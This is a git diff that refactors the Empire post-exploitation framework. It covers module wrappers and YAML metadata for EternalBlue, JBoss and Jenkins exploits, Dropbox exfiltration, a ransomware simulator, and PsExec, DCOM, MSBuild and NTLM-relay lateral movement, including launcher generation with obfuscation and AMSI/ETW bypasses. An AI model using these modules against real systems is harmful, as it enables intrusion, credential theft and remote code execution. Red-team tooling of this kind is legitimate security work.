@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,7 +11,7 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.yaml b/empire/server/modules/powershell/exfiltration/PSRansom.yaml
index efb21358a..40cab56a8 100644
--- a/empire/server/modules/powershell/exfiltration/PSRansom.yaml
+++ b/empire/server/modules/powershell/exfiltration/PSRansom.yaml
@@ -1,6 +1,8 @@
name: Invoke-Script
authors:
- - '@JoelGMSec'
+ - name: ''
+ handle: '@JoelGMSec'
+ link: ''
description: PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities.
software: ''
techniques:
diff --git a/empire/server/modules/powershell/exfiltration/egresscheck.yaml b/empire/server/modules/powershell/exfiltration/egresscheck.yaml
index 542314df2..0b2959928 100644
--- a/empire/server/modules/powershell/exfiltration/egresscheck.yaml
+++ b/empire/server/modules/powershell/exfiltration/egresscheck.yaml
@@ -1,9 +1,12 @@
name: Invoke-EgressCheck
authors:
- - Stuart Morgan
-description: This module will generate traffic on a provided range of ports and supports
- both TCP and UDP. Useful to identify direct egress channels.
+ - name: Stuart Morgan
+ handle: ''
+ link: ''
+description: This module will generate traffic on a provided range of ports and supports both TCP and UDP. Useful to identify
+ direct egress channels.
software: ''
+tactics: []
techniques:
- T1041
background: false
@@ -28,13 +31,12 @@ options:
required: true
value: TCP
- name: portrange
- description: The range of ports to connect on. This can be a comma separated list
- or dash-separated ranges.
+ description: The range of ports to connect on. This can be a comma separated list or dash-separated ranges.
required: true
value: 22-25,53,80,443,445,3306,3389
- name: delay
description: Delay, in milliseconds, between ports being tested
required: true
value: '50'
-script_path: 'exfil/Invoke-EgressCheck.ps1'
-script_end: Invoke-EgressCheck {{ PARAMS }}
\ No newline at end of file
+script_path: exfil/Invoke-EgressCheck.ps1
+script_end: Invoke-EgressCheck {{ PARAMS }}
diff --git a/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml b/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
index 124394a10..0af8c38b1 100644
--- a/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
+++ b/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
@@ -1,9 +1,14 @@
name: Invoke-DropboxUpload
authors:
- - kdick@tevora.com
- - Laurent Kempe
+ - name: kdick@tevora.com
+ handle: ''
+ link: ''
+ - name: Laurent Kempe
+ handle: ''
+ link: ''
description: 'Upload a file to dropbox '
software: ''
+tactics: []
techniques:
- T1041
background: false
@@ -72,4 +77,4 @@ script: |
$result
$res.close()
}
-script_end: Invoke-DropboxUpload {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-DropboxUpload {{ PARAMS }}
diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
index 8224892ad..bb9810c6c 100755
--- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
+++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
@@ -1,11 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -29,7 +26,7 @@ def generate(
if err:
return handle_error_message(err)
- script_end += "\nInvoke-EternalBlue "
+ script_end = "\nInvoke-EternalBlue "
for key, value in params.items():
if value != "":
@@ -41,7 +38,7 @@ def generate(
script_end += "; 'Exploit complete'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml b/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml
index 4370dee97..542e6229d 100644
--- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml
+++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml
@@ -1,12 +1,18 @@
name: Invoke-EternalBlue
authors:
- - Sean Dillon
- - Dylan Davis Equation Group
- - kdick@tevora.com (e0x70i)
-description: 'Port of MS17_010 Metasploit module to powershell. Exploits targeted
- system and executes specified shellcode. Windows 7 and 2008 R2 supported. Potential
- for a BSOD '
+ - name: Sean Dillon
+ handle: ''
+ link: ''
+ - name: Dylan Davis Equation Group
+ handle: ''
+ link: ''
+ - name: kdick@tevora.com (e0x70i)
+ handle: ''
+ link: ''
+description: 'Port of MS17_010 Metasploit module to powershell. Exploits targeted system and executes specified shellcode.
+ Windows 7 and 2008 R2 supported. Potential for a BSOD '
software: ''
+tactics: []
techniques:
- T1210
background: false
@@ -40,6 +46,6 @@ options:
description: Custom shellcode to inject, 0xaa,0xab,... format.
required: true
value: ''
-script_path: 'exploitation/Exploit-EternalBlue.ps1'
+script_path: exploitation/Exploit-EternalBlue.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/exploitation/exploit_jboss.yaml b/empire/server/modules/powershell/exploitation/exploit_jboss.yaml
index 932aa2503..e8168d996 100644
--- a/empire/server/modules/powershell/exploitation/exploit_jboss.yaml
+++ b/empire/server/modules/powershell/exploitation/exploit_jboss.yaml
@@ -1,8 +1,11 @@
name: Exploit-JBoss
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Exploit vulnerable JBoss Services.
software: ''
+tactics: []
techniques:
- T1210
background: true
@@ -42,5 +45,5 @@ options:
description: Remote URL [http://IP:PORT/f.war] to your own WarFile to deploy.
required: true
value: ''
-script_path: 'exploitation/Exploit-JBoss.ps1'
+script_path: exploitation/Exploit-JBoss.ps1
script_end: Exploit-JBoss {{ PARAMS }}
diff --git a/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml b/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml
index 0adb7c0d5..c0cf1d5f2 100644
--- a/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml
+++ b/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml
@@ -1,8 +1,11 @@
name: Exploit-Jenkins
authors:
- - '@luxcupitor'
+ - name: ''
+ handle: '@luxcupitor'
+ link: ''
description: Run command on unauthenticated Jenkins Script consoles.
software: ''
+tactics: []
techniques:
- T1210
background: true
@@ -30,5 +33,5 @@ options:
description: command to run on remote jenkins script console.
required: true
value: whoami
-script_path: 'exploitation/Exploit-Jenkins.ps1'
+script_path: exploitation/Exploit-Jenkins.ps1
script_end: Exploit-Jenkins {{ PARAMS }}
diff --git a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml
index 9add2eb58..26439d3d9 100644
--- a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml
+++ b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml
@@ -1,10 +1,15 @@
name: Invoke-SpoolSample
authors:
- - '@tifkin_'
- - '@kevin'
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: ''
+ handle: '@kevin'
+ link: ''
description: |
Runs SpoolSample C# binary through reflection
software:
+tactics: []
techniques:
- T1547
background: false
@@ -14,8 +19,8 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - 'https://github.com/leechristensen/SpoolSample'
- - 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation'
+ - https://github.com/leechristensen/SpoolSample
+ - https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation
options:
- name: Agent
description: Agent to run module on.
@@ -29,5 +34,5 @@ options:
description: Host that receives SMB auth from the target.
required: true
value: ''
-script_path: 'exploitation/Invoke-SpoolSample.ps1'
-script_end: "Invoke-SpoolSample {{ PARAMS }}"
+script_path: exploitation/Invoke-SpoolSample.ps1
+script_end: Invoke-SpoolSample {{ PARAMS }}
diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
index 27acbfd57..90ccae19b 100644
--- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
+++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -33,7 +29,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -54,7 +50,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxyCreds,
@@ -90,7 +86,7 @@ def generate(
else:
script_end += " -" + str(option) + ' "' + str(values) + '"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml b/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml
index 3f728d912..adb32c4ef 100644
--- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml
+++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml
@@ -1,14 +1,15 @@
name: Invoke-InveighRelay
authors:
- - Kevin Robertson
-description: Inveigh's SMB relay function. This module can be used to relay incoming
- HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the authentication
- is successfully relayed and the account has the correct privilege, a specified command
- or Empire launcher will be executed on the target PSExec style. This module works
- best while also running collection/inveigh with HTTP disabled. Note that this module
- exposes only a subset of Inveigh Relay's parameters. Inveigh Relay can be used through
- Empire's scriptimport and scriptcmd if additional parameters are needed.
+ - name: Kevin Robertson
+ handle: ''
+ link: ''
+description: Inveigh's SMB relay function. This module can be used to relay incoming HTTP/Proxy NTLMv1/NTLMv2 authentication
+ requests to an SMB target. If the authentication is successfully relayed and the account has the correct privilege, a specified
+ command or Empire launcher will be executed on the target PSExec style. This module works best while also running collection/inveigh
+ with HTTP disabled. Note that this module exposes only a subset of Inveigh Relay's parameters. Inveigh Relay can be used
+ through Empire's scriptimport and scriptcmd if additional parameters are needed.
software: ''
+tactics: []
techniques:
- T1171
background: true
@@ -29,22 +30,24 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy_
@@ -52,28 +55,27 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: Command
- description: Command to execute on relay target. Do not wrap in quotes and use PowerShell
- escape characters and newlines where necessary.
+ description: Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines
+ where necessary.
required: false
value: ''
- name: ConsoleOutput
- description: '(Low/Medium/Y) Default = Y: Enable/Disable real time console output.
- Medium and Low can be used to reduce output.'
+ description: '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce
+ output.'
required: false
value: ''
- name: ConsoleStatus
- description: Interval in minutes for displaying all unique captured hashes and credentials.
- This will display a clean list of captures in Empire.
+ description: Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean
+ list of captures in Empire.
required: false
value: ''
- name: ConsoleUnique
- description: '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes
- for only unique IP, domain/hostname, and username combinations.'
+ description: '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname,
+ and username combinations.'
required: false
value: ''
- name: HTTP
@@ -81,12 +83,11 @@ options:
required: false
value: ''
- name: Proxy
- description: '(Y/N) Default = N: Enable/Disable Inveigh\''s proxy server authentication
- capture/relay.'
+ description: "(Y/N) Default = N: Enable/Disable Inveigh\\'s proxy server authentication capture/relay."
required: false
value: ''
- name: ProxyPort
- description: 'Default = 8492: TCP port for Inveigh\''s proxy listener.'
+ description: "Default = 8492: TCP port for Inveigh\\'s proxy listener."
required: false
value: ''
- name: RunTime
@@ -94,8 +95,7 @@ options:
required: true
value: ''
- name: Service
- description: 'Default = 20 character random: Name of the service to create and delete
- on the target.'
+ description: 'Default = 20 character random: Name of the service to create and delete on the target.'
required: false
value: ''
- name: SMB1
@@ -107,14 +107,13 @@ options:
required: true
value: ''
- name: Usernames
- description: Comma separated list of usernames to use for relay attacks. Accepts
- both username and domain\username format.
+ description: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.
required: false
value: ''
- name: WPADAuth
description: (Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.
required: false
value: ''
-script_path: 'lateral_movement/Invoke-InveighRelay.ps1'
+script_path: lateral_movement/Invoke-InveighRelay.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
index 6079aee45..1ac53e5b5 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
command = params["Command"]
@@ -43,7 +39,7 @@ def generate(
)
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -59,14 +55,13 @@ def generate(
return handle_error_message("[!] Invalid listener: " + listener_name)
elif listener_name:
-
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -76,7 +71,6 @@ def generate(
if launcher == "":
return handle_error_message("[!] Error in launcher generation.")
else:
-
Cmd = (
"%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\"
+ launcher
@@ -84,7 +78,6 @@ def generate(
else:
Cmd = "%COMSPEC% /C start /b " + command.replace('"', '\\"')
- print(helpers.color("[*] Running command: " + Cmd))
script_end = "Invoke-DCOM -ComputerName %s -Method %s -Command '%s'" % (
computer_name,
@@ -92,7 +85,7 @@ def generate(
Cmd,
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml
index 2acf55f9c..4cdaece8f 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml
@@ -1,8 +1,11 @@
name: Invoke-DCOM
authors:
- - '@rvrsh3ll'
+ - name: ''
+ handle: '@rvrsh3ll'
+ link: ''
description: Execute a stager or command on remote hosts using DCOM.
software: ''
+tactics: []
techniques:
- T1175
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -38,22 +41,24 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -61,10 +66,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'lateral_movement/Invoke-DCOM.ps1'
+script_path: lateral_movement/Invoke-DCOM.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
index 3a00b87f4..897fb9e50 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
command = params["Command"]
@@ -34,7 +30,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -46,7 +42,6 @@ def generate(
script_end = "Invoke-ExecuteMSBuild"
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -71,14 +66,13 @@ def generate(
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
elif listener_name:
-
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -92,7 +86,6 @@ def generate(
else:
Cmd = command.replace('"', '`"').replace("$", "`$")
script = script.replace("LAUNCHER", Cmd)
- print(helpers.color("[*] Running command: " + command))
# add any arguments to the end execution of the script
script_end += " -ComputerName " + params["ComputerName"]
@@ -114,7 +107,7 @@ def generate(
script_end += " | Out-String"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml
index be45d22c3..cf63530fe 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml
@@ -1,9 +1,11 @@
name: Invoke-ExecuteMSBuild
authors:
- - '@xorrior'
-description: This module utilizes WMI and MSBuild to compile and execute an xml file
- containing an Empire launcher
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This module utilizes WMI and MSBuild to compile and execute an xml file containing an Empire launcher
software: ''
+tactics: []
techniques:
- T1127
- T1047
@@ -30,26 +32,28 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: CredID
description: CredID from the store to use.
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -57,8 +61,7 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: ComputerName
@@ -81,6 +84,6 @@ options:
description: Drive letter to use when mounting the share locally
required: false
value: ''
-script_path: 'lateral_movement/Invoke-ExecuteMSBuild.ps1'
+script_path: lateral_movement/Invoke-ExecuteMSBuild.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml b/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml
index 2ea1b227f..bfcf175e9 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml
@@ -1,8 +1,11 @@
name: Invoke-PortFwd
authors:
- - '@decoder-it'
+ - name: ''
+ handle: '@decoder-it'
+ link: ''
description: Forward a port with no admin rights required.
software: ''
+tactics: []
techniques:
- T1363
background: true
@@ -35,5 +38,5 @@ options:
description: Remote port to forward to.
required: true
value: ''
-script_path: 'lateral_movement/Invoke-PortFwd.ps1'
-script_end: Invoke-PortFwd {{ PARAMS }}
\ No newline at end of file
+script_path: lateral_movement/Invoke-PortFwd.ps1
+script_end: Invoke-PortFwd {{ PARAMS }}
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
index 670181ea6..383235a3c 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
computer_name = params["ComputerName"]
@@ -36,7 +32,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -59,20 +55,18 @@ def generate(
script_end += ' -ResultFile "%s"' % (result_file)
else:
-
if not main_menu.listeners.is_listener_valid(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
-
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -82,7 +76,6 @@ def generate(
if launcher == "":
return handle_error_message("[!] Error in launcher generation.")
else:
-
stager_cmd = (
"%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\"
+ launcher
@@ -100,7 +93,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml
index 4cc776419..eafbfb180 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml
@@ -1,8 +1,11 @@
name: Invoke-PsExec
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Executes a stager on remote hosts using PsExec type functionality.
software: S0029
+tactics: []
techniques:
- T1035
- T1077
@@ -24,19 +27,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: ComputerName
description: Host to execute the stager on.
required: true
@@ -54,8 +60,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -63,14 +68,13 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -78,6 +82,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'lateral_movement/Invoke-PsExec.ps1'
+script_path: lateral_movement/Invoke-PsExec.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
index 5dc8498ba..25afdd06a 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
command = params["Command"]
